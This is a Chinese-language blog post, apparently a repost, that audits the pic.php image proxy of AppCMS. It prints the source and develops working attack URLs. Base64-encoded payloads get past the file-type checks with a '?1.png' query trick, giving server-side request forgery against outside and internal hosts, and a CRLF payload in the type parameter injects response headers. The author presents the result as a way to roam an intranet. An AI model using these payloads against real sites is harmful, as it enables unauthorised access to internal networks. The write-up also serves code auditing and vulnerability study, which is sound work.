标签:内容 not 直接 download 空白 开始 ade lower 图片下载
官网:http://www.appcms.cc/安装好后看 pic.php 文件代码如下:
<?php
if(isset($_GET[‘url‘]) && trim($_GET[‘url‘]) != ‘‘ && isset($_GET[‘type‘])) {
$img_url=trim($_GET[‘url‘]);
$img_url = base64_decode($img_url);
$img_url=strtolower(trim($img_url));
$_GET[‘type‘]=strtolower(trim($_GET[‘type‘]));
$urls=explode(‘.‘,$img_url);
if(count($urls)<=1) die(‘image type forbidden 0‘);
$file_type=$urls[count($urls)-1];
if(in_array($file_type,array(‘jpg‘,‘gif‘,‘png‘,‘jpeg‘))){}else{ die(‘image type foridden 1‘);}
if(strstr($img_url,‘php‘)) die(‘image type forbidden 2‘);
if(strstr($img_url,chr(0)))die(‘image type forbidden 3‘);
if(strlen($img_url)>256)die(‘url too length forbidden 4‘);
header("Content-Type: image/{$_GET[‘type‘]}");
readfile($img_url);
} else {
die(‘image not find!‘);
}
?>
下面一行一行分析:
<?php
if(isset($_GET[‘url‘]) && trim($_GET[‘url‘]) != ‘‘ && isset($_GET[‘type‘])) {
$img_url=trim($_GET[‘url‘]); //去掉空白字符
$img_url = base64_decode($img_url); //把url参数做base64解码、说明传入时是base64编码的
$img_url=strtolower(trim($img_url));//把img_url转化为小写
$_GET[‘type‘]=strtolower(trim($_GET[‘type‘]));//把type转为小写
$urls=explode(‘.‘,$img_url); //使用 . 分割 img_url,如果是1.png
if(count($urls)<=1) die(‘image type forbidden 0‘);//如果urls数组小于或者等于1,则终止输出image type forbidden 0
///pic.php?url=test&type=png,随便试试看
//也就是说首先要绕过这个流程,就必须要urls数组大于1才可以,也就是.做base64编码,然后.的左右要都不为空才可以;
//把 http://test.com 做base64编码后的值是 aHR0cDovL3Rlc3QuY29t 然后用这个值试试可否绕过第一部流程;
//访问 /pic.php?url=aHR0cDovL3Rlc3QuY29t&type=png
// 走到下面的流程了,继续看下面的代码;
$file_type=$urls[count($urls)-1]; //取得数组倒数第一个值,这里是获取文件类型的哦
if(in_array($file_type,array(‘jpg‘,‘gif‘,‘png‘,‘jpeg‘))){}else{ die(‘image type foridden 1‘);
//判断图片类型是不是’jpg’,’gif’,’png’,’jpeg’这几种,如果是的话什么都不做,如果不是的话则输出 image type foridden 1
//上面走到 image type foridden 1了,接着要加个图片类型,绕过这个流程;
//把http://test.com/1.png 做base64编码 aHR0cDovL3Rlc3QuY29tLzEucG5n 访问
http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucG5n&type=png, 在这样是可以绕过这个流程,不过显示的不对了,成为正常访问图片的效果了;
//这里其实也存在一个浏览器的RFC标准问题、没按照标准来就容易出问题;
//要实现***f 这样是做不到了,换成php试试呢,
//把http://test.com/1.php 做base64编码 aHR0cDovL3Rlc3QuY29tLzEucGhw 访问
http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucGhw&type=php
发现又回到了上面的流程、这样行不通。。。
//上面流程主要是判断图片类型的、 把http://test.com/1.png 做编码,这样是读png图片流,响应为php文件;
访问 http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucG5n&type=php
发现在客户端是下载php的,而不是去解析php的,因为随便构造的,下载下来的文件是啥都没有。
//上面是把图片当作php文件去下载、 反过来试试呢
//把php文件当图片下载
把http://test.com/1.php 做编码;
访问 http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucGhw&type=png
试过了还是不行、还是回到了上面的流程了、、、
因为在 url 参数中做了扩展名控制,所以不能任意文件下载,不然可以做base64编码做任意文件下载噢、还有一种情况存在的可能性,解析漏洞、试试看
把http://test.com/1.php%00.png 做编码是 aHR0cDovL3Rlc3QuY29tLzEucGhwJTAwLnBuZw==
访问:http://127.0.0.1/appcms/pic.php?url= aHR0cDovL3Rlc3QuY29tLzEucGhwJTAwLnBuZw==&type=png
// appcms 的设计还真是严谨、考虑的这么周到;终于到下一步了;
if(strstr($img_url,‘php‘)) die(‘image type forbidden 2‘);//这里看到了,防护了解析漏洞
if(strstr($img_url,chr(0)))die(‘image type forbidden 3‘);//这里还判断了空字符截断
if(strlen($img_url)>256)die(‘url too length forbidden 4‘);//还判断了 url长度不能大于256
header("Content-Type: image/{$_GET[‘type‘]}");//这里是重点,type是响应类型,这个参数是可控的了
readfile($img_url);//开始读文件
} else {
die(‘image not find!‘);//如果没有设置url或者type走这里
}
代码分析完毕、、、、
之后考虑了下 /1.png 可以通过判断, 用/?1.png也可以通过判断,这就是问题所在了,/?1.png相当于/index.php?pic=1.png或者/index.html?pic=1.png,这样访问在没有获取这个参数时会忽略掉直接显示;试试看
随便找个站 http://v.qq.com/x/search/?q=1.png ,然后做base64编码;
aHR0cDovL3YucXEuY29tL3gvc2VhcmNoLz9xPTEucG5n
访问:
http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3YucXEuY29tL3gvc2VhcmNoLz9xPTEucG5n&type=png
ok了、、、如果用火狐的话,需要分析这个文件流,内容都是文件流中,基于浏览器的解析机制不一样,可以换IE浏览器,直接查看返回的内容了;
作为极客、这样不算完成、过滤了空字符、还可以联想到 HTTP相应拆分漏洞,用他来显示出内容;
给个换行 测试url如下:
http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3YucXEuY29tL3gvc2VhcmNoLz9xPTEucG5n&type=png%0A%0Dtest
然后就可以内网漫游了、、、
标签:内容 not 直接 download 空白 开始 ade lower 图片下载
原文地址:https://blog.51cto.com/010bjsoft/2499839